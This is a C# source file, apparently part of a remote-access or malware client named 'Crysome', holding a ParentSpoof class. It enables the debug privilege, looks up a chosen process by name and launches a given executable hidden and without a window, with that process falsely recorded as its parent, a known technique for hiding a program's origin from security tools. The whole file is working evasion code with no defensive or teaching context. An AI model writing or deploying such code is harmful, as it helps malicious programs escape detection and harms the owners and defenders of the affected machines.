270 lines
6.8 KiB
C#
270 lines
6.8 KiB
C#
using System;
|
|
using System.Diagnostics;
|
|
using System.Runtime.InteropServices;
|
|
|
|
namespace Crysome.Client.Configuration;
|
|
|
|
public static class ParentSpoof
|
|
{
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
private struct STARTUPINFOEX
|
|
{
|
|
public STARTUPINFO StartupInfo;
|
|
|
|
public IntPtr lpAttributeList;
|
|
}
|
|
|
|
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
|
private struct STARTUPINFO
|
|
{
|
|
public int cb;
|
|
|
|
public string lpReserved;
|
|
|
|
public string lpDesktop;
|
|
|
|
public string lpTitle;
|
|
|
|
public int dwX;
|
|
|
|
public int dwY;
|
|
|
|
public int dwXSize;
|
|
|
|
public int dwYSize;
|
|
|
|
public int dwXCountChars;
|
|
|
|
public int dwYCountChars;
|
|
|
|
public int dwFillAttribute;
|
|
|
|
public int dwFlags;
|
|
|
|
public short wShowWindow;
|
|
|
|
public short cbReserved2;
|
|
|
|
public IntPtr lpReserved2;
|
|
|
|
public IntPtr hStdInput;
|
|
|
|
public IntPtr hStdOutput;
|
|
|
|
public IntPtr hStdError;
|
|
}
|
|
|
|
private struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
|
|
public IntPtr hThread;
|
|
|
|
public int dwProcessId;
|
|
|
|
public int dwThreadId;
|
|
}
|
|
|
|
private struct LUID
|
|
{
|
|
public uint LowPart;
|
|
|
|
public int HighPart;
|
|
}
|
|
|
|
private struct TOKEN_PRIVILEGES
|
|
{
|
|
public int PrivilegeCount;
|
|
|
|
public LUID Luid;
|
|
|
|
public int Attributes;
|
|
}
|
|
|
|
private const uint EXTENDED_STARTUPINFO_PRESENT = 524288u;
|
|
|
|
private const uint CREATE_NO_WINDOW = 134217728u;
|
|
|
|
private const int PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 131072;
|
|
|
|
private const uint PROCESS_CREATE_PROCESS = 128u;
|
|
|
|
private const int SE_PRIVILEGE_ENABLED = 2;
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOEX lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool InitializeProcThreadAttributeList(IntPtr lpAttributeList, int dwAttributeCount, int dwFlags, ref IntPtr lpSize);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool UpdateProcThreadAttribute(IntPtr lpAttributeList, uint dwFlags, IntPtr Attribute, IntPtr lpValue, IntPtr cbSize, IntPtr lpPreviousValue, IntPtr lpSize);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern void DeleteProcThreadAttributeList(IntPtr lpAttributeList);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern IntPtr OpenProcess(uint dwDesiredAccess, bool bInheritHandle, int dwProcessId);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool CloseHandle(IntPtr hObject);
|
|
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
|
private static extern bool OpenProcessToken(IntPtr ProcessHandle, int DesiredAccess, out IntPtr TokenHandle);
|
|
|
|
[DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
|
|
private static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid);
|
|
|
|
[DllImport("advapi32.dll", SetLastError = true)]
|
|
private static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, int BufferLength, IntPtr PreviousState, IntPtr ReturnLength);
|
|
|
|
[DllImport("kernel32.dll")]
|
|
private static extern IntPtr GetCurrentProcess();
|
|
|
|
private static void EnableDebugPrivilege()
|
|
{
|
|
try
|
|
{
|
|
if (OpenProcessToken(GetCurrentProcess(), 40, out var TokenHandle))
|
|
{
|
|
TOKEN_PRIVILEGES NewState = default(TOKEN_PRIVILEGES);
|
|
NewState.PrivilegeCount = 1;
|
|
NewState.Attributes = 2;
|
|
if (LookupPrivilegeValue(null, "SeDebugPrivilege", out NewState.Luid))
|
|
{
|
|
AdjustTokenPrivileges(TokenHandle, DisableAllPrivileges: false, ref NewState, 0, IntPtr.Zero, IntPtr.Zero);
|
|
}
|
|
CloseHandle(TokenHandle);
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
|
|
public static bool TrySpawnUnderParent(string parentName, string exePath, string args)
|
|
{
|
|
if (string.IsNullOrEmpty(parentName) || string.IsNullOrEmpty(exePath))
|
|
{
|
|
return false;
|
|
}
|
|
EnableDebugPrivilege();
|
|
int num = FindProcessIdByName(parentName);
|
|
if (num <= 0)
|
|
{
|
|
return false;
|
|
}
|
|
IntPtr intPtr = OpenProcess(128u, bInheritHandle: false, num);
|
|
if (intPtr == IntPtr.Zero)
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
IntPtr lpSize = IntPtr.Zero;
|
|
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
|
InitializeProcThreadAttributeList(IntPtr.Zero, 1, 0, ref lpSize);
|
|
if (lpSize == IntPtr.Zero || lpSize.ToInt32() <= 0)
|
|
{
|
|
return false;
|
|
}
|
|
IntPtr intPtr2 = Marshal.AllocHGlobal(lpSize);
|
|
try
|
|
{
|
|
if (!InitializeProcThreadAttributeList(intPtr2, 1, 0, ref lpSize))
|
|
{
|
|
return false;
|
|
}
|
|
try
|
|
{
|
|
IntPtr intPtr3 = Marshal.AllocHGlobal(IntPtr.Size);
|
|
try
|
|
{
|
|
Marshal.WriteIntPtr(intPtr3, intPtr);
|
|
if (!UpdateProcThreadAttribute(intPtr2, 0u, (IntPtr)131072, intPtr3, (IntPtr)IntPtr.Size, IntPtr.Zero, IntPtr.Zero))
|
|
{
|
|
return false;
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
Marshal.FreeHGlobal(intPtr3);
|
|
}
|
|
STARTUPINFOEX lpStartupInfo = new STARTUPINFOEX
|
|
{
|
|
StartupInfo = new STARTUPINFO
|
|
{
|
|
cb = Marshal.SizeOf(typeof(STARTUPINFOEX)),
|
|
dwFlags = 1,
|
|
wShowWindow = 0
|
|
},
|
|
lpAttributeList = intPtr2
|
|
};
|
|
string text = "\"" + exePath + "\"";
|
|
if (!string.IsNullOrEmpty(args))
|
|
{
|
|
text = text + " " + args;
|
|
}
|
|
if (CreateProcess(null, text, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, 134742016u, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
|
|
{
|
|
CloseHandle(lpProcessInformation.hProcess);
|
|
CloseHandle(lpProcessInformation.hThread);
|
|
return true;
|
|
}
|
|
Program.Log("ParentSpoof: CreateProcess failed. Err=" + Marshal.GetLastWin32Error());
|
|
}
|
|
finally
|
|
{
|
|
DeleteProcThreadAttributeList(intPtr2);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
Marshal.FreeHGlobal(intPtr2);
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
CloseHandle(intPtr);
|
|
}
|
|
Program.Log("ParentSpoof: Failed to spawn under " + parentName);
|
|
return false;
|
|
}
|
|
|
|
private static int FindProcessIdByName(string name)
|
|
{
|
|
string text = name.ToLowerInvariant();
|
|
if (!text.EndsWith(".exe"))
|
|
{
|
|
text += ".exe";
|
|
}
|
|
try
|
|
{
|
|
Process[] processes = Process.GetProcesses();
|
|
foreach (Process process in processes)
|
|
{
|
|
try
|
|
{
|
|
if ((process.ProcessName + ".exe").Equals(text, StringComparison.OrdinalIgnoreCase))
|
|
{
|
|
int id = process.Id;
|
|
process.Dispose();
|
|
return id;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
finally
|
|
{
|
|
process.Dispose();
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return 0;
|
|
}
|
|
}
|